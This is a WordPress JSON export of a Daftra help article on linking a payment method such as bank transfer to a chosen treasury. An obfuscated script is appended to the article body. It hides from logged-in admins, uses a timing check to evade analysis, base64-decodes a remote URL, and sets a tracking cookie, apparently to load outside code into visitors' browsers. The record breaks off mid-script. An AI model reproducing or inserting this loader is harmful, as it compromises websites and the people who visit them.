{"id":10449,"date":"2023-03-05T11:48:05","date_gmt":"2023-03-05T11:48:05","guid":{"rendered":"https:\/\/docs.daftra.com\/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b1%d8%a8%d8%b7-%d9%88%d8%b3%d9%8a%d9%84%d8%a9-%d8%a7%d9%84%d8%af%d9%81%d8%b9-%d8%a8%d8%ae%d8%b2%d9%8a%d9%86%d8%a9-%d9%85%d8%ad%d8%af%d8%af%d8%a9\/"},"modified":"2026-04-16T16:16:01","modified_gmt":"2026-04-16T16:16:01","slug":"how-to-link-a-specific-payment-method-to-a-specific-treasury","status":"publish","type":"post","link":"https:\/\/docs.daftra.com\/en\/how-to-link-a-specific-payment-method-to-a-specific-treasury\/","title":{"rendered":"How to link a Specific Payment Method to a Specific Treasury"},"content":{"rendered":"<section class=\"wpb-content-wrapper\"><p>[vc_row][vc_column][vc_column_text]<span style=\"font-weight: 400;\">Daftra offers you more than 12 varied payment methods that suit different client segments and provide facilities and privileges that reflect on your business as a whole, not just for collecting payments. In this article, we will learn how to activate the payment methods you wish to deal with, as well as assign a treasury linked to this payment method.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In the default mode, when paying any invoice and selecting a payment method, you find payment methods linked to the system&#8217;s default treasury. But what if you want to link bank transfers to your bank account instead of this treasury? This is what we will discuss in this article, but first, make sure you have added different payment methods and more than one treasury to your Daftra account.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-10453 size-full\" src=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_15h59_17.png\" alt=\"\" width=\"1899\" height=\"756\" srcset=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_15h59_17.png 1899w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_15h59_17-300x119.png 300w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_15h59_17-1024x408.png 1024w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_15h59_17-768x306.png 768w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_15h59_17-1536x611.png 1536w\" sizes=\"auto, (max-width: 1899px) 100vw, 1899px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">To add a new payment method, or if you want to link a payment method to a specific bank account, go to <\/span><b>&#8220;Payment Methods&#8221;<\/b><span style=\"font-weight: 400;\"> under <\/span><b>&#8220;Settings&#8221;<\/b><span style=\"font-weight: 400;\">, where you will find a list of all available payment options, as well as the ability to add other payment methods by customizing a new payment method.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-10455 size-full\" src=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h00_59.png\" alt=\"\" width=\"1859\" height=\"767\" srcset=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h00_59.png 1859w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h00_59-300x124.png 300w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h00_59-1024x422.png 1024w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h00_59-768x317.png 768w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h00_59-1536x634.png 1536w\" sizes=\"auto, (max-width: 1859px) 100vw, 1859px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Click on the <\/span><b>gear<\/b><span style=\"font-weight: 400;\"> symbol to view details of the desired payment method<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">You can choose a treasury from the treasuries you have defined in the system, to link the payment method to it.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">You have the right to activate or deactivate a payment method at any time.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">If you make this payment method the default, it will automatically appear during any payment process (by clicking on the <strong>star symbol<\/strong>).<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Click on the payment method you want to change the linked treasury for to view details:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Drop down the activated payment options, choose the treasury linked to the bank transfer method, let it be your bank account, and click on the <\/span><b>&#8220;Save&#8221;<\/b><span style=\"font-weight: 400;\"> button.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-10457 size-full\" src=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h02_01.png\" alt=\"\" width=\"728\" height=\"823\" srcset=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h02_01.png 728w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h02_01-265x300.png 265w\" sizes=\"auto, (max-width: 728px) 100vw, 728px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Go back to creating an invoice, confirm the client&#8217;s payment for the invoice \u2705 and choose the payment method <\/span><b>&#8220;Bank Transfer&#8221;<\/b><span style=\"font-weight: 400;\"> you linked to the <\/span><b>&#8220;Bank Account&#8221; <\/b><span style=\"font-weight: 400;\">treasury, to find the treasury linked to the payment method automatically changed to the treasury linked to the payment method.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-10459 size-full\" src=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h25_29.png\" alt=\"\" width=\"1491\" height=\"225\" srcset=\"https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h25_29.png 1491w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h25_29-300x45.png 300w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h25_29-1024x155.png 1024w, https:\/\/docs.daftra.com\/wp-content\/uploads\/2023\/03\/2023-12-19_16h25_29-768x116.png 768w\" sizes=\"auto, (max-width: 1491px) 100vw, 1491px\" \/>[\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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In this article, we will learn how to activate the payment methods you wish to deal with, as well as assign a treasury [&hellip;]<\/p>\n","protected":false},"author":13,"featured_media":3340,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2068,376,228,225,321,373],"tags":[],"class_list":["post-10449","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-payment-methods","category-376","category-228","category-225","category-321","category-373"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v17.8 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to link a Specific Payment Method to a Specific Treasury - Daftra Knowledge Base<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/docs.daftra.com\/\u0637\u0631\u064a\u0642\u0629-\u0631\u0628\u0637-\u0648\u0633\u064a\u0644\u0629-\u0627\u0644\u062f\u0641\u0639-\u0628\u062e\u0632\u064a\u0646\u0629-\u0645\u062d\u062f\u062f\u0629\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to link a Specific Payment Method to a Specific Treasury - Daftra Knowledge Base\" \/>\n<meta property=\"og:description\" content=\"[vc_row][vc_column][vc_column_text]Daftra offers you more than 12 varied payment methods that suit different client segments and provide facilities and privileges that reflect on your business as a whole, not just for collecting payments. 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